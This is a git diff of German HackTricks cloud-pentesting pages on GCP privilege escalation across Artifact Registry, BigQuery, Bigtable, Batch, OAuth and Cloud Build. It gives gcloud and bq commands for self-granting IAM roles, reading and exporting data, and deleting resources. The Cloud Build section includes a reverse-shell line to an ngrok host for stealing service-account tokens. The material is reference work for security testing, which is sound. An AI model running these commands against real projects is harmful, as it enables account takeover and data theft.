|
||||
# Configure docker to use gcloud to authenticate with Artifact Registry
|
||||
gcloud auth configure-docker <location>-docker.pkg.dev
|
||||
@@ -118,11 +159,18 @@ gcloud auth configure-docker <location>-docker.pkg.dev
|
||||
# Dowload image
|
||||
docker pull <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
|
||||
```
|
||||
Laden Sie eine **python**-Bibliothek herunter:
|
||||
</details>
|
||||
|
||||
Lade eine **python**-Bibliothek herunter:
|
||||
|
||||
<details>
|
||||
<summary>Python-Bibliothek aus Artifact Registry herunterladen</summary>
|
||||
```bash
|
||||
pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth print-access-token)@<location>-python.pkg.dev/<project-id>/<repo-name>/simple/" --trusted-host <location>-python.pkg.dev --no-cache-dir
|
||||
```
|
||||
- Was passiert, wenn ein Remote- und ein Standard-Registry in einer virtuellen gemischt werden und ein Paket in beiden vorhanden ist? Überprüfen Sie diese Seite:
|
||||
</details>
|
||||
|
||||
- Was passiert, wenn remote- und standard-Registries in einer virtuellen Registry gemischt werden und ein Paket in beiden existiert? Siehe diese Seite:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-persistence/gcp-artifact-registry-persistence.md
|
||||
@@ -130,30 +178,40 @@ pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth prin
|
||||
|
||||
### `artifactregistry.tags.delete`, `artifactregistry.versions.delete`, `artifactregistry.packages.delete`, (`artifactregistry.repositories.get`, `artifactregistry.tags.get`, `artifactregistry.tags.list`)
|
||||
|
||||
Löschen Sie Artefakte aus dem Registry, wie Docker-Images:
|
||||
Artefakte aus der Registry löschen, z. B. docker images:
|
||||
|
||||
<details>
|
||||
<summary>Docker-Image aus Artifact Registry löschen</summary>
|
||||
```bash
|
||||
# Delete a docker image
|
||||
gcloud artifacts docker images delete <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `artifactregistry.repositories.delete`
|
||||
|
||||
Löschen Sie ein vollständiges Repository (auch wenn es Inhalte hat):
|
||||
Ein komplettes Repository löschen (auch wenn es Inhalte hat):
|
||||
|
||||
<details>
|
||||
<summary>Artifact Registry-Repository löschen</summary>
|
||||
```
|
||||
gcloud artifacts repositories delete <repo-name> --location=<location>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `artifactregistry.repositories.setIamPolicy`
|
||||
|
||||
Ein Angreifer mit dieser Berechtigung könnte sich selbst Berechtigungen erteilen, um einige der zuvor genannten Repository-Angriffe durchzuführen.
|
||||
Ein Angreifer mit dieser Berechtigung könnte sich selbst Rechte geben, um einige der zuvor genannten Repository-Angriffe durchzuführen.
|
||||
|
||||
### Pivoting zu anderen Diensten über Artifact Registry Lesen & Schreiben
|
||||
### Pivoting zu anderen Services durch Artifact Registry Read & Write
|
||||
|
||||
- **Cloud Functions**
|
||||
|
||||
Wenn eine Cloud-Funktion erstellt wird, wird ein neues Docker-Image in das Artifact Registry des Projekts hochgeladen. Ich habe versucht, das Image durch ein neues zu ändern und sogar das aktuelle Image (und das `cache`-Image) zu löschen, und es hat sich nichts geändert, die Cloud-Funktion funktioniert weiterhin. Daher könnte es **möglich sein, einen Race Condition-Angriff auszunutzen**, wie beim Bucket, um den Docker-Container zu ändern, der ausgeführt wird, aber **einfach das gespeicherte Image zu ändern, ist nicht möglich, um die Cloud-Funktion zu kompromittieren**.
|
||||
Wenn eine Cloud Function erstellt wird, wird ein neues docker image in das Artifact Registry des Projekts hochgeladen. Ich habe versucht, das Image durch ein neues zu ersetzen und sogar das aktuelle Image (und das `cache` image) zu löschen, und es änderte sich nichts — die Cloud Function lief weiterhin. Daher könnte es **möglicherweise möglich sein, eine Race Condition attack auszunutzen** wie bei den buckets, um den docker container zu ändern, der ausgeführt wird, aber **allein das Ändern des gespeicherten Images reicht offenbar nicht aus, um die Cloud Function zu kompromittieren**.
|
||||
|
||||
- **App Engine**
|
||||
|
||||
Obwohl App Engine Docker-Images im Artifact Registry erstellt, wurde getestet, dass **selbst wenn Sie das Image innerhalb dieses Dienstes ändern** und die App Engine-Instanz entfernen (damit eine neue bereitgestellt wird), der **ausgeführte Code sich nicht ändert**.\
|
||||
Es könnte möglich sein, dass durch die Durchführung eines **Race Condition-Angriffs wie bei den Buckets der ausgeführte Code überschrieben werden kann**, aber dies wurde nicht getestet.
|
||||
Obwohl App Engine docker images im Artifact Registry erstellt. Es wurde getestet, dass **selbst wenn man das Image innerhalb dieses Dienstes ändert** und die App Engine-Instanz entfernt (so dass eine neue bereitgestellt wird), sich der **ausgeführte Code nicht ändert**.\
|
||||
Es könnte möglich sein, dass das Durchführen einer **Race Condition attack wie bei den buckets möglicherweise den ausgeführten Code überschreiben kann**, aber das wurde nicht getestet.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,7 +12,10 @@ Grundlegende Informationen:
|
||||
|
||||
### `batch.jobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Es ist möglich, einen Batch-Job zu erstellen, eine Reverse-Shell zu erhalten und das Metadaten-Token des SA (standardmäßig Compute SA) zu exfiltrieren.
|
||||
Es ist möglich, einen Batch-Job zu erstellen, eine reverse shell zu erhalten und das metadata token des SA (compute SA standardmäßig) zu exfiltrieren.
|
||||
|
||||
<details>
|
||||
<summary>Batch-Job mit reverse shell erstellen</summary>
|
||||
```bash
|
||||
gcloud beta batch jobs submit job-lxo3b2ub --location us-east1 --config - <<EOD
|
||||
{
|
||||
@@ -53,4 +56,6 @@ gcloud beta batch jobs submit job-lxo3b2ub --location us-east1 --config - <<EOD
|
||||
}
|
||||
EOD
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+58
-13
@@ -10,23 +10,36 @@ Für weitere Informationen zu BigQuery siehe:
|
||||
../gcp-services/gcp-bigquery-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Tabelle lesen
|
||||
### Tabelle auslesen
|
||||
|
||||
Beim Lesen der Informationen, die in einer BigQuery-Tabelle gespeichert sind, könnte es möglich sein, **sensible Informationen** zu finden. Um auf die Informationen zuzugreifen, sind die benötigten Berechtigungen **`bigquery.tables.get`**, **`bigquery.jobs.create`** und **`bigquery.tables.getData`**:
|
||||
Beim Lesen der in einer BigQuery-Tabelle gespeicherten Informationen kann es möglich sein, s**ensible Informationen** zu finden. Um auf die Informationen zuzugreifen, werden die Berechtigungen **`bigquery.tables.get`**, **`bigquery.jobs.create`** und **`bigquery.tables.getData`** benötigt:
|
||||
|
||||
<details>
|
||||
<summary>BigQuery-Tabellendaten lesen</summary>
|
||||
```bash
|
||||
bq head <dataset>.<table>
|
||||
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
|
||||
```
|
||||
</details>
|
||||
|
||||
### Daten exportieren
|
||||
|
||||
Dies ist eine weitere Möglichkeit, auf die Daten zuzugreifen. **Exportieren Sie sie in einen Cloud-Speicher-Bucket** und **laden Sie die Dateien** mit den Informationen herunter.\
|
||||
Um diese Aktion durchzuführen, sind die folgenden Berechtigungen erforderlich: **`bigquery.tables.export`**, **`bigquery.jobs.create`** und **`storage.objects.create`**.
|
||||
Dies ist eine weitere Möglichkeit, auf die Daten zuzugreifen. **Exportiere sie in einen cloud storage bucket** und **lade die Dateien** mit den Informationen herunter.\
|
||||
Für diese Aktion werden folgende Berechtigungen benötigt: **`bigquery.tables.export`**, **`bigquery.jobs.create`** und **`storage.objects.create`**.
|
||||
|
||||
<details>
|
||||
<summary>BigQuery-Tabelle in Cloud Storage exportieren</summary>
|
||||
```bash
|
||||
bq extract <dataset>.<table> "gs://<bucket>/table*.csv"
|
||||
```
|
||||
</details>
|
||||
|
||||
### Daten einfügen
|
||||
|
||||
Es könnte möglich sein, **bestimmte vertrauenswürdige Daten** in eine Bigquery-Tabelle einzufügen, um eine **Schwachstelle an anderer Stelle auszunutzen.** Dies kann einfach mit den Berechtigungen **`bigquery.tables.get`**, **`bigquery.tables.updateData`** und **`bigquery.jobs.create`** durchgeführt werden:
|
||||
Es könnte möglich sein, **bestimmte vertrauenswürdige Daten** in einer Bigquery Tabelle einzufügen, um eine **Schwachstelle an anderer Stelle** auszunutzen. Dies kann einfach mit den Berechtigungen **`bigquery.tables.get`**, **`bigquery.tables.updateData`** und **`bigquery.jobs.create`** durchgeführt werden:
|
||||
|
||||
<details>
|
||||
<summary>Daten in BigQuery-Tabelle einfügen</summary>
|
||||
```bash
|
||||
# Via query
|
||||
bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
|
||||
@@ -34,9 +47,14 @@ bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank,
|
||||
# Via insert param
|
||||
bq insert dataset.table /tmp/mydata.json
|
||||
```
|
||||
</details>
|
||||
|
||||
### `bigquery.datasets.setIamPolicy`
|
||||
|
||||
Ein Angreifer könnte dieses Privileg missbrauchen, um **sich selbst weitere Berechtigungen** über ein BigQuery-Dataset zu geben:
|
||||
Ein Angreifer könnte dieses Recht missbrauchen, um **sich selbst weitere Berechtigungen** für ein BigQuery-Dataset zu gewähren:
|
||||
|
||||
<details>
|
||||
<summary>IAM-Policy für BigQuery-Dataset setzen</summary>
|
||||
```bash
|
||||
# For this you also need bigquery.tables.getIamPolicy
|
||||
bq add-iam-policy-binding \
|
||||
@@ -46,9 +64,14 @@ bq add-iam-policy-binding \
|
||||
|
||||
# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy
|
||||
```
|
||||
</details>
|
||||
|
||||
### `bigquery.datasets.update`, (`bigquery.datasets.get`)
|
||||
|
||||
Nur diese Berechtigung ermöglicht es, **Ihren Zugriff auf ein BigQuery-Dataset zu aktualisieren, indem die ACLs geändert werden**, die angeben, wer darauf zugreifen kann:
|
||||
Nur diese Berechtigung ermöglicht es, **deinen Zugriff auf ein BigQuery-Dataset zu aktualisieren, indem du die ACLs änderst**, die angeben, wer darauf zugreifen kann:
|
||||
|
||||
<details>
|
||||
<summary>ACLs eines BigQuery-Datasets aktualisieren</summary>
|
||||
```bash
|
||||
# Download current permissions, reqires bigquery.datasets.get
|
||||
bq show --format=prettyjson <proj>:<dataset> > acl.json
|
||||
@@ -57,9 +80,14 @@ bq update --source acl.json <proj>:<dataset>
|
||||
## Read it with
|
||||
bq head $PROJECT_ID:<dataset>.<table>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `bigquery.tables.setIamPolicy`
|
||||
|
||||
Ein Angreifer könnte dieses Privileg missbrauchen, um **sich selbst weitere Berechtigungen** über eine BigQuery-Tabelle zu geben:
|
||||
Ein Angreifer könnte dieses Privileg missbrauchen, um sich **weitere Berechtigungen** für eine BigQuery-Tabelle zu verschaffen:
|
||||
|
||||
<details>
|
||||
<summary>IAM-Richtlinie auf BigQuery-Tabelle setzen</summary>
|
||||
```bash
|
||||
# For this you also need bigquery.tables.setIamPolicy
|
||||
bq add-iam-policy-binding \
|
||||
@@ -69,14 +97,24 @@ bq add-iam-policy-binding \
|
||||
|
||||
# use the set-iam-policy if you don't have bigquery.tables.setIamPolicy
|
||||
```
|
||||
</details>
|
||||
|
||||
### `bigquery.rowAccessPolicies.update`, `bigquery.rowAccessPolicies.setIamPolicy`, `bigquery.tables.getData`, `bigquery.jobs.create`
|
||||
|
||||
Laut den Dokumenten ist es mit den genannten Berechtigungen möglich, eine **Zeilenrichtlinie zu aktualisieren.**\
|
||||
Allerdings benötigst du **zusätzlich zur CLI `bq`** noch einige weitere: **`bigquery.rowAccessPolicies.create`**, **`bigquery.tables.get`**.
|
||||
Laut der Dokumentation ist es mit den genannten Berechtigungen möglich, **eine Row-Access-Policy zu aktualisieren.**\
|
||||
Allerdings benötigst du bei Verwendung der CLI `bq` noch zusätzliche Berechtigungen: **`bigquery.rowAccessPolicies.create`**, **`bigquery.tables.get`**.
|
||||
|
||||
<details>
|
||||
<summary>Row-Access-Policy erstellen oder ersetzen</summary>
|
||||
```bash
|
||||
bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("<user:user@email.xyz>") FILTER USING (term = "Cfba");' # A example filter was used
|
||||
```
|
||||
Es ist möglich, die Filter-ID in der Ausgabe der Zeilenrichtlinienenumeration zu finden. Beispiel:
|
||||
</details>
|
||||
|
||||
Es ist möglich, die Filter-ID in der Ausgabe der Aufzählung der Zeilenzugriffsrichtlinien zu finden. Beispiel:
|
||||
|
||||
<details>
|
||||
<summary>Zeilenzugriffsrichtlinien auflisten</summary>
|
||||
```bash
|
||||
bq ls --row_access_policies <proj>:<dataset>.<table>
|
||||
|
||||
@@ -84,7 +122,12 @@ Id Filter Predicate Grantees Creation Time Las
|
||||
------------- ------------------ ----------------------------- ----------------- --------------------
|
||||
apac_filter term = "Cfba" user:asd@hacktricks.xyz 21 Jan 23:32:09 21 Jan 23:32:09
|
||||
```
|
||||
Wenn Sie **`bigquery.rowAccessPolicies.delete`** anstelle von `bigquery.rowAccessPolicies.update` haben, könnten Sie auch einfach die Richtlinie löschen:
|
||||
</details>
|
||||
|
||||
Wenn Sie **`bigquery.rowAccessPolicies.delete`** statt **`bigquery.rowAccessPolicies.update`** haben, können Sie die Policy auch einfach löschen:
|
||||
|
||||
<details>
|
||||
<summary>Row access policies löschen</summary>
|
||||
```bash
|
||||
# Remove one
|
||||
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<dataset-name>.<table-name>`;'
|
||||
@@ -92,7 +135,9 @@ bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<
|
||||
# Remove all (if it's the last row policy you need to use this
|
||||
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICIES ON `<proj>.<dataset-name>.<table-name>`;'
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> Eine weitere potenzielle Möglichkeit, um Zeilenzugriffsrichtlinien zu umgehen, wäre, einfach den Wert der eingeschränkten Daten zu ändern. Wenn Sie nur sehen können, wenn `term` `Cfba` ist, ändern Sie einfach alle Datensätze der Tabelle so, dass `term = "Cfba"` ist. Dies wird jedoch von BigQuery verhindert.
|
||||
> Eine weitere mögliche Option, row access policies zu umgehen, wäre einfach den Wert der eingeschränkten Daten zu ändern. Wenn du nur sehen kannst, wenn `term` `Cfba` ist, ändere einfach alle Datensätze der Tabelle so, dass `term = "Cfba"`. Dies wird jedoch von bigquery verhindert.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+36
-16
@@ -4,7 +4,7 @@
|
||||
|
||||
## Bigtable
|
||||
|
||||
Für weitere Informationen zu Bigtable siehe:
|
||||
Weitere Informationen zu Bigtable:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-bigtable-enum.md
|
||||
@@ -12,40 +12,50 @@ Für weitere Informationen zu Bigtable siehe:
|
||||
|
||||
### `bigtable.instances.setIamPolicy`
|
||||
|
||||
**Berechtigungen:** `bigtable.instances.setIamPolicy` (und normalerweise `bigtable.instances.getIamPolicy`, um die aktuellen Bindungen zu lesen).
|
||||
**Berechtigungen:** `bigtable.instances.setIamPolicy` (und normalerweise `bigtable.instances.getIamPolicy`, um die aktuellen Bindungen auszulesen).
|
||||
|
||||
Der Besitz der IAM-Policy der Instanz ermöglicht es dir, dir selbst **`roles/bigtable.admin`** (oder jede beliebige benutzerdefinierte Rolle) zuzuweisen, die auf jeden Cluster, jede Tabelle, jedes Backup und jede autorisierte Ansicht in der Instanz angewendet wird.
|
||||
Wenn Sie die IAM-Policy der Instanz besitzen, können Sie sich selbst **`roles/bigtable.admin`** (oder jede benutzerdefinierte Rolle) gewähren, die sich auf jeden Cluster, jede Tabelle, jedes Backup und jede autorisierte Ansicht in der Instanz auswirkt.
|
||||
|
||||
<details><summary>Gewähre dir die Rolle bigtable.admin auf der Instanz</summary>
|
||||
```bash
|
||||
gcloud bigtable instances add-iam-policy-binding <instance-id> \
|
||||
--member='user:<attacker@example.com>' \
|
||||
--role='roles/bigtable.admin'
|
||||
```
|
||||
> [!TIP]
|
||||
> Wenn Sie die bestehenden Bindings nicht auflisten können, erstellen Sie ein neues Policy-Dokument und pushen Sie es mit `gcloud bigtable instances set-iam-policy`, vorausgesetzt, Sie tragen sich selbst darin ein.
|
||||
</details>
|
||||
|
||||
Nachdem Sie diese Berechtigung haben, schauen Sie im [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) nach, um weitere Techniken zum Missbrauch von Bigtable-Berechtigungen zu finden.
|
||||
> [!TIP]
|
||||
> Wenn du die bestehenden Bindings nicht auflisten kannst, erstelle ein neues Policy-Dokument und schiebe es mit `gcloud bigtable instances set-iam-policy`, solange du dich selbst darin behältst.
|
||||
|
||||
Sobald du diese Berechtigung hast, siehe die [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) für weitere Techniken, um Bigtable-Berechtigungen auszunutzen.
|
||||
|
||||
### `bigtable.tables.setIamPolicy`
|
||||
|
||||
**Berechtigungen:** `bigtable.tables.setIamPolicy` (optional `bigtable.tables.getIamPolicy`).
|
||||
|
||||
Instanz-Policies können gesperrt sein, während einzelne Tabellen delegiert werden. Wenn Sie das table IAM bearbeiten können, können Sie sich selbst zum Besitzer des Ziel-Datasets befördern, ohne andere Workloads zu berühren.
|
||||
Instanzrichtlinien können eingeschränkt sein, während einzelne Tabellen delegiert werden. Wenn du die IAM-Richtlinie einer Tabelle bearbeiten kannst, kannst du dich selbst **zum Owner des Ziel-Datasets befördern**, ohne andere Workloads zu beeinträchtigen.
|
||||
|
||||
<details><summary>Dir die bigtable.admin-Rolle auf einer Tabelle gewähren</summary>
|
||||
```bash
|
||||
gcloud bigtable tables add-iam-policy-binding <table-id> \
|
||||
--instance=<instance-id> \
|
||||
--member='user:<attacker@example.com>' \
|
||||
--role='roles/bigtable.admin'
|
||||
```
|
||||
Wenn Sie diese Berechtigung haben, sehen Sie in der [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) nach Techniken für weitere Möglichkeiten, Bigtable-Berechtigungen zu missbrauchen.
|
||||
</details>
|
||||
|
||||
Siehe die Berechtigungsprüfung in der [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) für weitere Wege, Bigtable-Berechtigungen zu missbrauchen.
|
||||
|
||||
|
||||
### `bigtable.backups.setIamPolicy`
|
||||
|
||||
**Permissions:** `bigtable.backups.setIamPolicy`
|
||||
|
||||
Backups können in **jede Instanz in jedem Projekt** wiederhergestellt werden, das Sie kontrollieren. Geben Sie zunächst Ihrer Identität Zugriff auf das Backup und stellen Sie es dann in einer Sandbox wieder her, in der Sie Admin/Owner roles innehaben.
|
||||
Backups können in **jede Instanz in jedem Projekt**, das du kontrollierst, wiederhergestellt werden. Gib zuerst deiner Identität Zugriff auf die Sicherung, und stelle sie dann in einer Sandbox wieder her, in der du Admin/Owner-Rollen innehast.
|
||||
|
||||
Wenn Sie die Berechtigung `bigtable.backups.setIamPolicy` haben, könnten Sie sich selbst die Berechtigung `bigtable.backups.restore` gewähren, um alte Backups wiederherzustellen und zu versuchen, auf sensible Daten zuzugreifen.
|
||||
Wenn du die Berechtigung `bigtable.backups.setIamPolicy` hast, könntest du dir selbst die Berechtigung `bigtable.backups.restore` gewähren, um alte Backups wiederherzustellen und zu versuchen, an sensible Informationen zu gelangen.
|
||||
|
||||
<details><summary>Take ownership of backup snapshot</summary>
|
||||
```bash
|
||||
# Take ownership of the snapshot
|
||||
gcloud bigtable backups add-iam-policy-binding <backup-id> \
|
||||
@@ -53,14 +63,18 @@ gcloud bigtable backups add-iam-policy-binding <backup-id> \
|
||||
--member='user:<attacker@example.com>' \
|
||||
--role='roles/bigtable.admin'
|
||||
```
|
||||
Prüfe zuvor diese Berechtigung in der [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md), um zu sehen, wie ein Backup wiederhergestellt wird.
|
||||
</details>
|
||||
|
||||
Nachdem diese Berechtigungsprüfung in der [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) durchgeführt wurde, siehe dort, wie ein Backup wiederhergestellt wird.
|
||||
|
||||
|
||||
### Update authorized view
|
||||
### Authorized View aktualisieren
|
||||
|
||||
**Berechtigungen:** `bigtable.authorizedViews.update`
|
||||
|
||||
Authorized Views sollen Zeilen/Spalten unkenntlich machen. Das Ändern oder Löschen von ihnen **entfernt die feingranularen Schutzmechanismen**, auf die Verteidiger angewiesen sind.
|
||||
Authorized Views sollen Zeilen/Spalten redigieren. Das Ändern oder Löschen von ihnen **entfernt die fein abgestimmten Schutzvorrichtungen**, auf die Verteidiger angewiesen sind.
|
||||
|
||||
<details><summary>Authorized view aktualisieren, um den Zugriff zu erweitern</summary>
|
||||
```bash
|
||||
# Broaden the subset by uploading a permissive definition
|
||||
gcloud bigtable authorized-views update <view-id> \
|
||||
@@ -85,13 +99,17 @@ EOF
|
||||
gcloud bigtable authorized-views describe <view-id> \
|
||||
--instance=<instance-id> --table=<table-id>
|
||||
```
|
||||
Prüfen Sie diese Berechtigung in der [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md), um zu sehen, wie man von einem authorized view liest.
|
||||
</details>
|
||||
|
||||
Siehe in der [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md), um zu prüfen, wie man aus einer Authorized View liest.
|
||||
|
||||
### `bigtable.authorizedViews.setIamPolicy`
|
||||
|
||||
**Berechtigungen:** `bigtable.authorizedViews.setIamPolicy`.
|
||||
|
||||
Ein Angreifer mit dieser Berechtigung kann sich selbst Zugriff auf eine Authorized View gewähren, die sensible Daten enthalten kann, auf die sonst kein Zugriff bestünde.
|
||||
Ein Angreifer mit dieser Berechtigung kann sich selbst Zugriff auf eine Authorized View gewähren, die sensible Daten enthalten kann, auf die er sonst keinen Zugriff hätte.
|
||||
|
||||
<details><summary>Sich selbst Zugriff auf eine Authorized View gewähren</summary>
|
||||
```bash
|
||||
# Give more permissions over an existing view
|
||||
gcloud bigtable authorized-views add-iam-policy-binding <view-id> \
|
||||
@@ -99,7 +117,9 @@ gcloud bigtable authorized-views add-iam-policy-binding <view-id> \
|
||||
--member='user:<attacker@example.com>' \
|
||||
--role='roles/bigtable.viewer'
|
||||
```
|
||||
Nachdem diese Berechtigungsprüfung in der [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) durchgeführt wurde, um zu prüfen, wie man aus einer autorisierten Ansicht liest.
|
||||
</details>
|
||||
|
||||
Nachdem diese Berechtigungsüberprüfung in der [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) durchgeführt wurde, siehe dort, wie man aus einer autorisierten View liest.
|
||||
|
||||
|
||||
|
||||
|
||||
+6
-2
@@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### Erstellen Sie eine OAuth-Marke und einen Client
|
||||
### OAuth-Brand und -Client erstellen
|
||||
|
||||
[**Laut den Dokumenten**](https://cloud.google.com/iap/docs/programmatic-oauth-clients) sind dies die erforderlichen Berechtigungen:
|
||||
[**Laut der Dokumentation**](https://cloud.google.com/iap/docs/programmatic-oauth-clients) sind dies die erforderlichen Berechtigungen:
|
||||
|
||||
- `clientauthconfig.brands.list`
|
||||
- `clientauthconfig.brands.create`
|
||||
@@ -14,6 +14,8 @@
|
||||
- `clientauthconfig.clients.getWithSecret`
|
||||
- `clientauthconfig.clients.delete`
|
||||
- `clientauthconfig.clients.update`
|
||||
|
||||
<details><summary>OAuth-Brand und -Client erstellen</summary>
|
||||
```bash
|
||||
# Create a brand
|
||||
gcloud iap oauth-brands list
|
||||
@@ -21,4 +23,6 @@ gcloud iap oauth-brands create --application_title=APPLICATION_TITLE --support_e
|
||||
# Create a client of the brand
|
||||
gcloud iap oauth-clients create projects/PROJECT_NUMBER/brands/BRAND-ID --display_name=NAME
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+32
-12
@@ -4,7 +4,7 @@
|
||||
|
||||
## cloudbuild
|
||||
|
||||
Für weitere Informationen zu Cloud Build siehe:
|
||||
Für weitere Informationen über Cloud Build siehe:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-build-enum.md
|
||||
@@ -12,12 +12,14 @@ Für weitere Informationen zu Cloud Build siehe:
|
||||
|
||||
### `cloudbuild.builds.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Mit dieser Berechtigung kannst du **einen Cloud Build einreichen**. Die Cloudbuild-Maschine wird standardmäßig in ihrem Dateisystem ein **Token des Cloudbuild-Servicekontos** haben: `<PROJECT_NUMBER>@cloudbuild.gserviceaccount.com`. Du kannst jedoch **jedes Servicekonto innerhalb des Projekts** in der Cloudbuild-Konfiguration angeben.\
|
||||
Daher kannst du die Maschine einfach dazu bringen, das Token an deinen Server zu exfiltrieren oder **einen Reverse-Shell innerhalb davon zu erhalten und dir das Token zu besorgen** (die Datei, die das Token enthält, könnte sich ändern).
|
||||
Mit dieser Berechtigung kannst du **einen cloud build einreichen**. Die cloudbuild-Maschine wird standardmäßig ein Token des cloudbuild Service Account in ihrem Dateisystem haben: `<PROJECT_NUMBER>@cloudbuild.gserviceaccount.com`. Du kannst jedoch in der Cloud Build-Konfiguration **jedes Service Account innerhalb des Projekts angeben**.\
|
||||
Daher kannst du die Maschine das Token an deinen Server exfiltrieren lassen oder **eine reverse shell darin erhalten und dir das Token besorgen** (die Datei, die das Token enthält, kann sich ändern).
|
||||
|
||||
#### Direkte Ausnutzung über gcloud CLI
|
||||
#### Direct exploitation via gcloud CLI
|
||||
|
||||
1- Erstelle `cloudbuild.yaml` und modifiziere es mit deinen Listener-Daten.
|
||||
1- Erstelle `cloudbuild.yaml` und passe sie mit deinen Listener-Daten an
|
||||
|
||||
<details><summary>Cloud Build YAML-Konfiguration für reverse shell</summary>
|
||||
```yaml
|
||||
steps:
|
||||
- name: bash
|
||||
@@ -27,19 +29,27 @@ bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1
|
||||
options:
|
||||
logging: CLOUD_LOGGING_ONLY
|
||||
```
|
||||
2- Laden Sie einen einfachen Build ohne Quelle hoch, die yaml-Datei und geben Sie den zu verwendenden SA für den Build an:
|
||||
</details>
|
||||
|
||||
2- Lade einen einfachen Build ohne Quellcode hoch, die YAML-Datei und gib das Servicekonto (SA) an, das beim Build verwendet werden soll:
|
||||
|
||||
<details><summary>Cloud Build mit angegebenem Servicekonto einreichen</summary>
|
||||
```bash
|
||||
gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects/<PROJECT>/serviceAccounts/<SERVICE_ACCOUNT_ID>@<PROJECT_ID>.iam.gserviceaccount.com
|
||||
```
|
||||
#### Verwendung der Python gcloud-Bibliothek
|
||||
Sie finden das ursprüngliche Exploit-Skript [**hier auf GitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) (aber der Ort, von dem es das Token bezieht, hat bei mir nicht funktioniert). Überprüfen Sie daher ein Skript zur Automatisierung der [**Erstellung, Ausnutzung und Bereinigung einer verwundbaren Umgebung hier**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) und ein Python-Skript, um eine Reverse-Shell innerhalb der Cloudbuild-Maschine zu erhalten und [**es hier zu stehlen**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (im Code finden Sie, wie Sie andere Dienstkonten angeben können)**.**
|
||||
</details>
|
||||
|
||||
Für eine detailliertere Erklärung besuchen Sie [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/)
|
||||
#### Verwendung der python gcloud library
|
||||
Das originale exploit script findest du [**hier auf GitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) (aber der Ort, von dem es das token nimmt, hat bei mir nicht funktioniert). Schau dir deshalb ein Script an, um die [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) zu automatisieren, und ein python-Skript, um eine reverse shell innerhalb der cloudbuild-Maschine zu bekommen und [**steal it here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (im Code findest du, wie man andere service accounts angibt)**.**
|
||||
|
||||
Für eine ausführlichere Erklärung besuche [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/)
|
||||
|
||||
|
||||
### `cloudbuild.repositories.accessReadToken`
|
||||
|
||||
Mit dieser Berechtigung kann der Benutzer das **Lesezugriffs-Token** abrufen, das zum Zugriff auf das Repository verwendet wird:
|
||||
